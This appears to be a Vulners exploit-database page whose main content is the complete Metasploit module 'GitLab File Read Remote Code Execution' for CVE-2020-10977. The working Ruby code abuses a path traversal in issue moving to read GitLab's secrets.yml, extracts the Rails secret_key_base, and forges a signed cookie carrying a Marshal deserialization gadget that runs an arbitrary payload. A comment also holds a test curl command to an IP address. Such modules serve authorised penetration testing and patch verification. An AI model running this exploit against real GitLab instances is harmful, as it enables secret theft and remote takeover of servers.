| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| GitLab File Read Remote Code Execution Exploit | 10 Dec 202000:00 | – | zdt | |
| Exploit for Path Traversal in Gitlab | 2 May 202010:03 | – | githubexploit | |
| Exploit for Path Traversal in Gitlab | 25 Nov 202022:48 | – | githubexploit | |
| Exploit for Path Traversal in Gitlab | 2 May 202108:45 | – | githubexploit | |
| Exploit for Path Traversal in Gitlab | 11 Apr 202106:31 | – | githubexploit | |
| Exploit for Path Traversal in Gitlab | 20 Nov 202015:40 | – | githubexploit | |
| Exploit for Path Traversal in Gitlab | 29 Jan 202116:17 | – | githubexploit | |
| CVE-2020-10977 | 8 Apr 202000:00 | – | attackerkb | |
| CVE-2020-10977 | 9 Dec 202017:40 | – | circl | |
| GitLab EE/CE Path Traversal Vulnerability | 9 Apr 202000:00 | – | cnvd |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
# From Rails
class MessageVerifier
class InvalidSignature < StandardError
end
def initialize(secret, options = {})
@secret = secret
@digest = options[:digest] || 'SHA1'
@serializer = options[:serializer] || Marshal
end
def generate(value)
data = ::Base64.strict_encode64(@serializer.dump(value))
"#{data}--#{generate_digest(data)}"
end
def generate_digest(data)
require 'openssl' unless defined?(OpenSSL)
OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)
end
end
class NoopSerializer
def dump(value)
value
end
end
class KeyGenerator
def initialize(secret, options = {})
@secret = secret
@iterations = options[:iterations] || 2**16
end
def generate_key(salt, key_size = 64)
OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size)
end
end
class GitLabClientException < StandardError; end
class GitLabClient
def initialize(http_client)
@http_client = http_client
end
def sign_in(username, password)
@http_client.cookie_jar.clear
sign_in_path = '/users/sign_in'
csrf_token = extract_csrf_token(
path: sign_in_path,
regex: %r{action="/users/sign_in".*name="authenticity_token"\s+value="([^"]+)"}
)
res = @http_client.send_request_cgi({
'method' => 'POST',
'uri' => '/users/sign_in',
'keep_cookies' => true,
'vars_post' => {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'user[login]' => username,
'user[password]' => password,
'user[remember_me]' => 0
}
})
if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.body.include?('Invalid Login or password')
raise GitLabClientException, 'Username or password invalid'
elsif res.code != 302
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
elsif res.headers.fetch('Location', '').include?(sign_in_path)
raise GitLabClientException, 'Login not successful. The account may need activated. Verify login works manually.'
end
current_user
end
def current_user
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => '/api/v4/user',
'keep_cookies' => true
})
if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end
JSON.parse(res.body)
end
def version
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => '/api/v4/version',
'keep_cookies' => true
})
if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end
JSON.parse(res.body)
end
def create_project(user:)
new_project_path = '/projects/new'
create_project_path = '/projects'
csrf_token = extract_csrf_token(
path: new_project_path,
regex: /action="#{create_project_path}".*name="authenticity_token"\s+value="([^"]+)"/
)
project_name = Rex::Text.rand_text_alphanumeric(8)
res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => create_project_path,
'keep_cookies' => true,
'vars_post' => {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'project[ci_cd_only]' => 'false',
'project[name]' => project_name,
'project[namespace_id]' => (user['id']).to_s,
'project[path]' => project_name,
'project[description]' => Rex::Text.rand_text_alphanumeric(8),
'project[visibility_level]' => '0'
}
})
if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.body.include?('Namespace is not valid')
raise GitLabClientException, 'This uer can not create additional projects, please delete some'
elsif res.code != 302
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end
project(user: user, project_name: project_name)
end
def project(user:, project_name:)
project_path = "/#{user['username']}/#{project_name}"
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => project_path,
'keep_cookies' => true
})
if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end
project_id = res.body[/Project ID: (\d+)/, 1]
{
'id' => project_id,
'name' => project_name,
'path' => project_path,
'edit_path' => "#{project_path}/edit",
'delete_path' => "/#{user['username']}/#{project_name}"
}
end
def delete_project(project:)
edit_project_path = project['edit_path']
delete_project_path = project['delete_path']
csrf_token = extract_csrf_token(
path: edit_project_path,
regex: /action="#{delete_project_path}".*name="authenticity_token" value="([^"]+)"/
)
res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => delete_project_path,
'keep_cookies' => true,
'vars_post' => {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'_method' => 'delete'
}
})
if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 302
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end
true
end
def create_issue(project:, issue:)
new_issue_path = "#{project['path']}/issues/new"
create_issue_path = "#{project['path']}/issues"
csrf_token = extract_csrf_token(
path: new_issue_path,
regex: /action="#{create_issue_path}".*name="authenticity_token"\s+value="([^"]+)"/
)
res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => create_issue_path,
'keep_cookies' => true,
'vars_post' => {
'utf8' => '✓',
'authenticity_token' => csrf_token,
'issue[title]' => issue['title'] || Rex::Text.rand_text_alphanumeric(8),
'issue[description]' => issue['description'] || Rex::Text.rand_text_alphanumeric(8),
'issue[confidential]' => '0',
'issue[assignee_ids][]' => '0',
'issue[label_ids][]' => '',
'issue[due_date]' => '',
'issue[lock_version]' => '0'
}
})
if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 302
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end
issue_id = res.body[%r{You are being <a href="https?://.*#{create_issue_path}/(\d+)">redirected</a>}, 1]
issue.merge({
'path' => "#{create_issue_path}/#{issue_id}",
'move_path' => "#{create_issue_path}/#{issue_id}/move"
})
end
def move_issue(issue:, target_project:)
issue_path = issue['path']
move_issue_path = issue['move_path']
csrf_token = extract_csrf_token(
path: issue_path,
regex: /name="csrf-token" content="([^"]+)"/
)
res = http_client.send_request_cgi({
'method' => 'POST',
'uri' => move_issue_path,
'keep_cookies' => true,
'ctype' => 'application/json',
'headers' => {
'X-CSRF-Token' => csrf_token,
'X-Requested-With' => 'XMLHttpRequest'
},
'data' => {
'move_to_project_id' => (target_project['id']).to_s
}.to_json
})
if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end
json_res = JSON.parse(res.body)
{
'path' => json_res['web_url'],
'description' => json_res['description']
}
end
def download(project:, path:)
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => "#{project['path']}/#{path}",
'keep_cookies' => true
})
if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end
res.body
end
private
attr_reader :http_client
def extract_csrf_token(path:, regex:)
res = http_client.send_request_cgi({
'method' => 'GET',
'uri' => path,
'keep_cookies' => true
})
if res.nil? || res.body.nil?
raise GitLabClientException, 'Empty response. Please validate RHOST'
elsif res.code != 200
raise GitLabClientException, "Unexpected HTTP #{res.code} response."
end
token = res.body[regex, 1]
if token.nil?
raise GitLabClientException, 'Could not successfully extract CSRF token'
end
token
end
end
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab File Read Remote Code Execution',
'Description' => %q{
This module provides remote code execution against GitLab Community
Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file
read to extract the Rails "secret_key_base", and gains remote code
execution with a deserialization vulnerability of a signed
'experimentation_subject_id' cookie that GitLab uses internally for A/B
testing.
Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later,
and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects
versions 12.4.0 and above when the vulnerable `experimentation_subject_id`
cookie was introduced.
Tested on GitLab 12.8.1 and 12.4.0.
},
'Author' => [
'William Bowling (vakzz)', # Discovery + PoC
'alanfoster', # msf module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-10977'],
['URL', 'https://hackerone.com/reports/827052'],
['URL', 'https://about.gitlab.com/releases/2020/03/26/security-release-12-dot-9-dot-1-released/']
],
'DisclosureDate' => '2020-03-26',
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Privileged' => false,
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('USERNAME', [false, 'The username to authenticate as']),
OptString.new('PASSWORD', [false, 'The password for the specified username']),
OptString.new('TARGETURI', [true, 'The path to the vulnerable application', '/users/sign_in']),
OptString.new('SECRETS_PATH', [true, 'The path to the secrets.yml file', '/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml']),
OptString.new('SECRET_KEY_BASE', [false, 'The known secret_key_base from the secrets.yml - this skips the arbitrary file read if present']),
OptInt.new('DEPTH', [true, 'Define the max traversal depth', 15])
]
)
register_advanced_options(
[
OptString.new('SignedCookieSalt', [ true, 'The signed cookie salt', 'signed cookie']),
OptInt.new('KeyGeneratorIterations', [ true, 'The key generator iterations', 1000])
]
)
end
#
# This stub ensures that the payload runs outside of the Rails process
# Otherwise, the session can be killed on timeout
#
def detached_payload_stub(code)
%^
code = '#{Rex::Text.encode_base64(code)}'.unpack("m0").first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen("ruby", "wb") rescue nil
if inp
inp.write(code)
inp.close
end
else
Kernel.fork do
eval(code)
end
end
{}
^.strip.split(/\n/).map(&:strip).join("\n")
end
def build_payload
code = "eval('#{::Base64.strict_encode64(detached_payload_stub(payload.encoded))}'.unpack('m0').first)"
# Originally created with Active Support 6.x
# code = '`curl 10.10.15.26`'
# erb = ERB.allocate; nil
# erb.instance_variable_set(:@src, code);
# erb.instance_variable_set(:@filename, "1")
# erb.instance_variable_set(:@lineno, 1)
# value = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
# Marshal.dump(value)
"\x04\b" \
'o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy' \
"\t:\x0E@instance" \
"o:\bERB" \
"\b" \
":\t@src#{Marshal.dump(code)[2..]}" \
":\x0E@filename\"\x061" \
":\f@linenoi\x06" \
":\f@method:\vresult" \
":\t@var\"\f@result" \
":\x10@deprecatorIu:\x1FActiveSupport::Deprecation\x00\x06:\x06ET"
end
def sign_payload(secret_key_base, payload)
key_generator = KeyGenerator.new(secret_key_base, { iterations: datastore['KeyGeneratorIterations'] })
key = key_generator.generate_key(datastore['SignedCookieSalt'])
verifier = MessageVerifier.new(key, { serializer: NoopSerializer.new })
verifier.generate(payload)
end
def check
validate_credentials_present!
git_lab_client = GitLabClient.new(self)
git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])
version = Rex::Version.new(git_lab_client.version['version'][/(\d+.\d+.\d+)/, 1])
# Arbitrary file reads are present from 8.5 and fixed in 12.9.1, 12.8.8, and 12.7.8
# However, RCE is only available from 12.4 and fixed in 12.9.1, 12.8.8, and 12.7.8
has_rce_present =
version.between?(Rex::Version.new('12.4.0'), Rex::Version.new('12.7.7')) ||
version.between?(Rex::Version.new('12.8.0'), Rex::Version.new('12.8.7')) ||
version == Rex::Version.new('12.9.0')
if has_rce_present
return Exploit::CheckCode::Appears("GitLab #{version} is a vulnerable version.")
end
Exploit::CheckCode::Safe("GitLab #{version} is not a vulnerable version.")
rescue GitLabClientException => e
Exploit::CheckCode::Unknown(e.message)
end
def validate_credentials_present!
missing_options = []
missing_options << 'USERNAME' if datastore['USERNAME'].blank?
missing_options << 'PASSWORD' if datastore['PASSWORD'].blank?
if missing_options.any?
raise Msf::OptionValidateError, missing_options
end
end
def read_secret_key_base
return datastore['SECRET_KEY_BASE'] if datastore['SECRET_KEY_BASE'].present?
validate_credentials_present!
git_lab_client = GitLabClient.new(self)
user = git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])
print_status("Logged in to user #{user['username']}")
project_a = git_lab_client.create_project(user: user)
print_status("Created project #{project_a['path']}")
project_b = git_lab_client.create_project(user: user)
print_status("Created project #{project_b['path']}")
issue = git_lab_client.create_issue(
project: project_a,
issue: {
'description' => "}#{'/..' * datastore['DEPTH']}#{datastore['SECRETS_PATH']})"
}
)
print_status("Created issue #{issue['path']}")
print_status('Executing arbitrary file load')
moved_issue = git_lab_client.move_issue(issue: issue, target_project: project_b)
secrets_file_url = moved_issue['description'][/\[secrets.yml\]\((.*)\)/, 1]
secrets_yml = git_lab_client.download(project: project_b, path: secrets_file_url)
loot_path = store_loot('gitlab.secrets', 'text/plain', datastore['RHOST'], secrets_yml, 'secrets.yml')
print_good("File saved as: '#{loot_path}'")
secret_key_base = secrets_yml[/secret_key_base:\s+(.*)/, 1]
if secret_key_base.nil?
fail_with(Failure::UnexpectedReply, 'Unable to successfully extract leaked secret_key_base value')
end
print_good("Extracted secret_key_base #{secret_key_base}")
print_status('NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read')
secret_key_base
rescue GitLabClientException => e
fail_with(Failure::UnexpectedReply, e.message)
ensure
[project_a, project_b].each do |project|
next unless project
print_status("Attempting to delete project #{project['path']}")
git_lab_client.delete_project(project: project)
print_status("Deleted project #{project['path']}")
rescue StandardError
print_error("Failed to delete project #{project['path']}")
end
end
def exploit
secret_key_base = read_secret_key_base
payload = build_payload
signed_cookie_value = sign_payload(secret_key_base, payload)
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'cookie' => "experimentation_subject_id=#{signed_cookie_value}"
})
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation